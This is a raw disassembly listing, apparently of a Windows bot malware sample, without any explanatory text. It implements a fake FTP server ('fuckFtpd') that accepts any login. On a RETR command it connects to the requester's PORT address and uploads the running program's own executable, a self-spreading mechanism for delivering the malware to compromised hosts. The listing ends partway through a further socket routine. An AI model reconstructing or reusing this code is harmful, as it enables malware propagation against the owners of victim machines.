; =============== S U B	R O U T	I N E =======================================



sub_4026F4	proc near		; CODE XREF: sub_402102+3Dp
					; sub_402576+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_402706
		call	sub_41AC30


loc_402706:				; CODE XREF: sub_4026F4+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40272F
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40272F
		cmp	al, 0FFh
		jz	short loc_40272F
		cmp	edi, edx
		jnz	short loc_40276A
		dec	al
		push	edx
		mov	[ecx-1], al


loc_402724:				; CODE XREF: sub_4026F4+47j
		mov	ecx, esi
		call	sub_402779


loc_40272B:				; CODE XREF: sub_4026F4+4Bj
					; sub_4026F4+52j
		xor	al, al
		jmp	short loc_402774
; ---------------------------------------------------------------------------


loc_40272F:				; CODE XREF: sub_4026F4+19j
					; sub_4026F4+20j ...
		cmp	edi, edx
		jnz	short loc_402748
		cmp	[esp+8+arg_4], dl
		jz	short loc_40273D
		push	1
		jmp	short loc_402724
; ---------------------------------------------------------------------------


loc_40273D:				; CODE XREF: sub_4026F4+43j
		cmp	ecx, edx
		jz	short loc_40272B
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40272B
; ---------------------------------------------------------------------------


loc_402748:				; CODE XREF: sub_4026F4+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_402765
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40275A
		cmp	eax, edi
		jnb	short loc_402772


loc_40275A:				; CODE XREF: sub_4026F4+60j
		push	1
		mov	ecx, esi
		call	sub_402779
		jmp	short loc_40276A
; ---------------------------------------------------------------------------


loc_402765:				; CODE XREF: sub_4026F4+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_402772


loc_40276A:				; CODE XREF: sub_4026F4+28j
					; sub_4026F4+6Fj
		push	edi
		mov	ecx, esi
		call	sub_402851


loc_402772:				; CODE XREF: sub_4026F4+64j
					; sub_4026F4+74j
		mov	al, 1


loc_402774:				; CODE XREF: sub_4026F4+39j
		pop	edi
		pop	esi
		retn	8
sub_4026F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402779	proc near		; CODE XREF: sub_402102:loc_402121p
					; sub_402102+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4027A5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4027A5
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40279E
		cmp	al, 0FFh
		jz	short loc_40279E
		dec	al
		mov	[ecx], al
		jmp	short loc_4027A5
; ---------------------------------------------------------------------------


loc_40279E:				; CODE XREF: sub_402779+19j
					; sub_402779+1Dj
		push	ecx
		call	sub_41119B
		pop	ecx


loc_4027A5:				; CODE XREF: sub_402779+8j
					; sub_402779+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_402779	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027B5	proc near		; CODE XREF: sub_40235F+13Ep
					; sub_40290E+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4026F4
		test	al, al
		jz	short loc_4027E3
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_410510
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4027E3:				; CODE XREF: sub_4027B5+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4027B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027EA	proc near		; CODE XREF: sub_402626+39p
					; sub_402626+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4027FD
		call	sub_41AE5C


loc_4027FD:				; CODE XREF: sub_4027EA+Cj
		mov	ecx, edi
		call	sub_40290E
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_402813
		mov	ebx, eax


loc_402813:				; CODE XREF: sub_4027EA+25j
		test	ebx, ebx
		jbe	short loc_402849
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4111B0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4026F4
		test	al, al
		jz	short loc_402849
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_402849:				; CODE XREF: sub_4027EA+2Bj
					; sub_4027EA+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4027EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402851	proc near		; CODE XREF: sub_4026F4+79p
		mov	eax, offset loc_41B110
		call	sub_41117C
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_402877
		mov	edi, [ebp+8]


loc_402877:				; CODE XREF: sub_402851+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_402884
		xor	eax, eax


loc_402884:				; CODE XREF: sub_402851+2Fj
		push	eax
		call	sub_4114E5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4028B5
; ---------------------------------------------------------------------------


loc_402890:				; DATA XREF: seg001:0041CF04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40289F
		xor	eax, eax


loc_40289F:				; CODE XREF: sub_402851+4Aj
		push	eax
		call	sub_4114E5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_4028AF
		retn
; ---------------------------------------------------------------------------


loc_4028AF:				; DATA XREF: sub_402851+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4028B5:				; CODE XREF: sub_402851+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4028D3
		cmp	eax, edi
		jbe	short loc_4028C2
		mov	eax, edi


loc_4028C2:				; CODE XREF: sub_402851+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_410510
		add	esp, 0Ch


loc_4028D3:				; CODE XREF: sub_402851+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_402779
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4028F3
		mov	edi, ebx


loc_4028F3:				; CODE XREF: sub_402851+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_402851	endp


; =============== S U B	R O U T	I N E =======================================



sub_40290E	proc near		; CODE XREF: sub_4027EA+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40293B
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40293B
		cmp	al, 0FFh
		jz	short loc_40293B
		push	1
		call	sub_402779
		push	esi
		call	sub_410A70
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4027B5


loc_40293B:				; CODE XREF: sub_40290E+9j
					; sub_40290E+10j ...
		pop	edi
		pop	esi
		retn
sub_40290E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40293E	proc near		; DATA XREF: seg002:0041E004o
		test	ds:byte_45EE00,	1
		jnz	short loc_40294E
		or	ds:byte_45EE00,	1


loc_40294E:				; CODE XREF: sub_40293E+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_411560
		pop	ecx
		retn
sub_40293E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40295F	proc near		; DATA XREF: seg000:004049F2o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_41C1B4	; WSAStartup
		push	edi
		call	near ptr sub_411878
		push	eax
		call	sub_410845
		push	0FA00h
		push	471h
		call	sub_40F2FE
		add	esp, 10h
		mov	ds:dword_42E660, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_41C1D8	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_41C1B8	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_41C1BC	; ioctlsocket
		mov	ax, word ptr ds:dword_42E660
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_41C1C0	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41C1C4	; bind
		test	eax, eax
		jge	short loc_402A34
		mov	eax, ebx
		jmp	loc_402F5B
; ---------------------------------------------------------------------------


loc_402A34:				; CODE XREF: sub_40295F+CCj
		push	0Ah
		push	esi
		call	ds:dword_41C1C8	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_41C1DC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_402A52:				; CODE XREF: sub_40295F+12Cj
					; sub_40295F+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_41C1E0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_402F58
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_402A52


loc_402A8D:				; CODE XREF: sub_40295F+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_410870
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_410870
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41AF88	; __WSAFDIsSet
		test	eax, eax
		jz	loc_402F46
		cmp	edi, [ebp+var_C]
		jnz	short loc_402B44
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41C1CC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_402F46
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_402B0E
		lea	edx, [ebp+var_224]


loc_402AFE:				; CODE XREF: sub_40295F+1ADj
		cmp	[edx], eax
		jz	short loc_402B0E
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_402AFE


loc_402B0E:				; CODE XREF: sub_40295F+197j
					; sub_40295F+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_402B2C
		cmp	[ebp+var_228], 40h
		jnb	short loc_402B2C
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_402B2C:				; CODE XREF: sub_40295F+1B5j
					; sub_40295F+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_402B34
		mov	[ebp+var_4], eax


loc_402B34:				; CODE XREF: sub_40295F+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_41C1DC
		jmp	loc_402F46
; ---------------------------------------------------------------------------


loc_402B44:				; CODE XREF: sub_40295F+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_41C1D0	; recv
		test	eax, eax
		jg	short loc_402BAB
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_402B9F
		lea	eax, [ebp+var_224]


loc_402B6B:				; CODE XREF: sub_40295F+216j
		cmp	[eax], edi
		jz	short loc_402B79
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_402B6B
		jmp	short loc_402B9F
; ---------------------------------------------------------------------------


loc_402B79:				; CODE XREF: sub_40295F+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_402B99
		lea	eax, [ebp+ecx*4+var_224]


loc_402B85:				; CODE XREF: sub_40295F+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_402B85


loc_402B99:				; CODE XREF: sub_40295F+21Dj
		dec	[ebp+var_228]


loc_402B9F:				; CODE XREF: sub_40295F+204j
					; sub_40295F+218j
		push	edi
		call	ds:dword_41C1D4	; closesocket
		jmp	loc_402F46
; ---------------------------------------------------------------------------


loc_402BAB:				; CODE XREF: sub_40295F+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_411844
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4117C0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_402BEF
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402BEF:				; CODE XREF: sub_40295F+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C13
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402C13:				; CODE XREF: sub_40295F+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C37
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402C37:				; CODE XREF: sub_40295F+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5B
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402C5B:				; CODE XREF: sub_40295F+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_41E86C
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C7F
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402C7F:				; CODE XREF: sub_40295F+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CBA
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CBA
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402CBA:				; CODE XREF: sub_40295F+335j
					; sub_40295F+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CF5
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CF5
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_402F31
; ---------------------------------------------------------------------------


loc_402CF5:				; CODE XREF: sub_40295F+370j
					; sub_40295F+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D43
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_402D33:				; CODE XREF: sub_40295F+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_41C1DC
		xor	esi, esi


loc_402D3B:				; CODE XREF: sub_40295F+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_402F34
; ---------------------------------------------------------------------------


loc_402D43:				; CODE XREF: sub_40295F+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D84
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_402D33
; ---------------------------------------------------------------------------


loc_402D84:				; CODE XREF: sub_40295F+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_411844
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41098F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41098F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_410870
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4104AF
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_4117A9
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4104AF
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx ; dword_41C1DC
		jmp	loc_402D3B
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_40295F+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402F12
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_41C1DC
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_402F62
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_402F08
		call	sub_402FDF
		cmp	eax, 1
		jnz	loc_402F34
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx ; dword_41C1DC
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_42E660
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_41E6B0
		push	eax
		call	sub_4104AF
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_402EF9
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40DFB2
		add	esp, 14h


loc_402EF9:				; CODE XREF: sub_40295F+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_407AB1
		pop	ecx
		jmp	short loc_402F34
; ---------------------------------------------------------------------------


loc_402F08:				; CODE XREF: sub_40295F+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_402F31
; ---------------------------------------------------------------------------


loc_402F12:				; CODE XREF: sub_40295F+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F34
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_402F31:				; CODE XREF: sub_40295F+28Bj
					; sub_40295F+2AFj ...
		push	edi
		call	ebx ; dword_41C1DC


loc_402F34:				; CODE XREF: sub_40295F+3DFj
					; sub_40295F+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_410870
		add	esp, 0Ch


loc_402F46:				; CODE XREF: sub_40295F+160j
					; sub_40295F+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_402A8D
		jmp	loc_402A52
; ---------------------------------------------------------------------------


loc_402F58:				; CODE XREF: sub_40295F+11Ej
		push	1
		pop	eax


loc_402F5B:				; CODE XREF: sub_40295F+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40295F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F62	proc near		; CODE XREF: sub_40295F+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41C1B4	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_41C1D8	; socket
		push	[ebp+arg_0]
		mov	ds:dword_42E65C, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41C1A8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41C1C0	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_42E65C
		call	ds:dword_41C1AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FDA
		push	ds:dword_42E65C
		call	ds:dword_41C1D4	; closesocket
		call	ds:dword_41C1B0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_402FDA:				; CODE XREF: sub_402F62+60j
		push	1
		pop	eax
		leave
		retn
sub_402F62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDF	proc near		; CODE XREF: sub_40295F+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 0A70000h
		push	edi
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411AB2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_403076
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40305A
		push	edi
		mov	edi, 400h


loc_403022:				; CODE XREF: sub_402FDF+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_4119AA
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_42E65C
		call	ds:dword_41C1DC	; send
		push	1
		call	ds:dword_41C050	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_403022
		pop	edi


loc_40305A:				; CODE XREF: sub_402FDF+3Bj
		push	esi
		call	sub_411954
		pop	ecx
		push	ds:dword_42E65C
		call	ds:dword_41C1D4	; closesocket
		call	ds:dword_41C1B0	; WSACleanup
		push	1
		pop	eax


loc_403076:				; CODE XREF: sub_402FDF+35j
		pop	esi
		leave
		retn
sub_402FDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403079	proc near		; DATA XREF: seg000:00404AFFo
					; seg000:0040D3FAo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_411C60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_410870
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_42FA18
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_42FA98
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_403464
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_434BB4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_42FA44
		cmp	eax, 0FFFFFFFFh
		jz	loc_403464
		push	7FFFFFFFh
		push	edi
		call	ds:dword_42FA40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403464
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_42FAB4
		cmp	eax, 0FFFFFFFFh
		jz	loc_403464
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_403150:				; CODE XREF: sub_403079+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_42FA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40345F
